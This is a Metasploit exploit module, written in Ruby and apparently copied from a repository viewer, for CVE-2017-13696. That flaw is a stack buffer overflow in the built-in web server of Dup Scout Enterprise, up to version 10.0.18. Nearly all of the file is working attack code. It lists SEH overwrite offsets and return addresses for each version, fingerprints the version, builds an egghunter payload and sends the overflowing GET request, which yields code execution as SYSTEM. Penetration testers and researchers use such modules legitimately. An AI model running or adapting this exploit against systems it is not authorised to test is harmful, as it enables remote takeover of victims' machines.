216 lines
6.6 KiB
Ruby
216 lines
6.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::Seh
|
|
include Msf::Exploit::Remote::Egghunter
|
|
include Msf::Exploit::Remote::HttpClient
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Dup Scout Enterprise GET Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack-based buffer overflow vulnerability
|
|
in the web interface of Dup Scout Enterprise versions <= 10.0.18,
|
|
caused by improper bounds checking of the request path in HTTP GET
|
|
requests sent to the built-in web server which can be leveraged
|
|
to execute arbitrary code in the context of NT AUTHORITY\SYSTEM.
|
|
|
|
This module supports x86 versions of Dup Scout Enterprise and x86
|
|
Windows operating systems only and has been tested successfully on
|
|
Windows 7 SP1 (x86) and Windows XP SP0 (x86).
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'vportal', # Vulnerability discovery and PoC
|
|
'Daniel Teixeira', # Metasploit module
|
|
'bcoles', # Automatic targetting and additional targets
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2017-13696'],
|
|
['CWE', '121'],
|
|
['EDB', '42557'],
|
|
['EDB', '49217']
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86,
|
|
'Payload' =>
|
|
{
|
|
'BadChars' => "\x00\x09\x0a\x0d\x20\x26",
|
|
'Space' => 500
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { 'auto' => true } ],
|
|
[
|
|
'Dup Scout Enterprise v8.3.16 (x86)',
|
|
{
|
|
'Version' => '8.3.16',
|
|
'Offset' => 552,
|
|
# 0x10045543 : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-
|
|
'Ret' => 0x10045543
|
|
}
|
|
],
|
|
[
|
|
'Dup Scout Enterprise v8.4.16 (x86)',
|
|
{
|
|
'Version' => '8.4.16',
|
|
'Offset' => 552,
|
|
# 0x10045c33 : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-
|
|
'Ret' => 0x10045c33
|
|
}
|
|
],
|
|
[
|
|
'Dup Scout Enterprise v9.0.28 (x86)',
|
|
{
|
|
'Version' => '9.0.28',
|
|
'Offset' => 552,
|
|
# 0x1004d983 : pop ebx # pop ecx # ret 0x20 | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-
|
|
'Ret' => 0x1004d983
|
|
}
|
|
],
|
|
[
|
|
'Dup Scout Enterprise v9.1.14 (x86)',
|
|
{
|
|
'Version' => '9.1.14',
|
|
'Offset' => 552,
|
|
# 0x10081b78 : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-
|
|
'Ret' => 0x10081b78
|
|
}
|
|
],
|
|
[
|
|
'Dup Scout Enterprise v9.5.14 (x86)',
|
|
{
|
|
'Version' => '9.5.14',
|
|
'Offset' => 2488,
|
|
# POP # POP # RET [libspp.dll]
|
|
'Ret' => 0x10050ff3
|
|
}
|
|
],
|
|
[
|
|
'Dup Scout Enterprise v9.9.14 (x86)',
|
|
{
|
|
'Version' => '9.9.14',
|
|
'Offset' => 2496,
|
|
# 0x10056c1d : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-
|
|
'Ret' => 0x10056c1d
|
|
}
|
|
],
|
|
[
|
|
'Dup Scout Enterprise v10.0.18 (x86)',
|
|
{
|
|
'Version' => '10.0.18',
|
|
'Offset' => 2496,
|
|
# 0x10056a16 : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-
|
|
'Ret' => 0x10056a16
|
|
}
|
|
],
|
|
],
|
|
'Notes' =>
|
|
{
|
|
'Stability' => [ CRASH_SERVICE_DOWN ],
|
|
'SideEffects' => [ IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ]
|
|
},
|
|
'Privileged' => true,
|
|
'DisclosureDate' => '2017-03-15',
|
|
'DefaultTarget' => 0
|
|
)
|
|
)
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi({
|
|
'uri' => '/',
|
|
'method' => 'GET'
|
|
})
|
|
|
|
unless res
|
|
return CheckCode::Unknown('Connection failed.')
|
|
end
|
|
|
|
version = res.body.scan(/>Dup Scout Enterprise v([\d.]+)</).flatten.first
|
|
|
|
unless version
|
|
return CheckCode::Safe('Target is not Dup Scout Enterprise.')
|
|
end
|
|
|
|
unless target_for_version(version)
|
|
return CheckCode::Detected("No targets for Dup Scout Enterprise version #{version}.")
|
|
end
|
|
|
|
CheckCode::Appears("Dup Scout Enterprise version #{version}.")
|
|
end
|
|
|
|
def dup_version
|
|
res = send_request_cgi({
|
|
'uri' => '/',
|
|
'method' => 'GET'
|
|
})
|
|
|
|
unless res
|
|
return fail_with(Failure::Unreachable, 'Could not determine Dup Scout Enterprise version. No reply.')
|
|
end
|
|
|
|
res.body.scan(/>Dup Scout Enterprise v([\d.]+)</).flatten.first
|
|
end
|
|
|
|
def target_for_version(version)
|
|
return unless version
|
|
|
|
targets.select { |t| version == t['Version'] }.first
|
|
end
|
|
|
|
def exploit
|
|
my_target = target
|
|
|
|
if target.name == 'Automatic'
|
|
print_status('Selecting a target...')
|
|
my_target = target_for_version(dup_version)
|
|
unless my_target
|
|
fail_with(Failure::NoTarget, 'Unable to automatically detect a target')
|
|
end
|
|
end
|
|
|
|
print_status("Using target: #{my_target.name}")
|
|
|
|
eggoptions = {
|
|
checksum: true,
|
|
eggtag: rand_text_alpha(4, payload_badchars)
|
|
}
|
|
|
|
hunter, egg = generate_egghunter(
|
|
payload.encoded,
|
|
payload_badchars,
|
|
eggoptions
|
|
)
|
|
|
|
sploit = rand_text_alpha(my_target['Offset'], payload_badchars)
|
|
sploit << generate_seh_record(my_target.ret)
|
|
sploit << hunter
|
|
sploit << make_nops(10)
|
|
sploit << egg
|
|
sploit << rand_text_alpha(5500, payload_badchars)
|
|
|
|
print_status("Sending payload (#{sploit.length} bytes) ...")
|
|
|
|
send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => sploit
|
|
})
|
|
end
|
|
end
|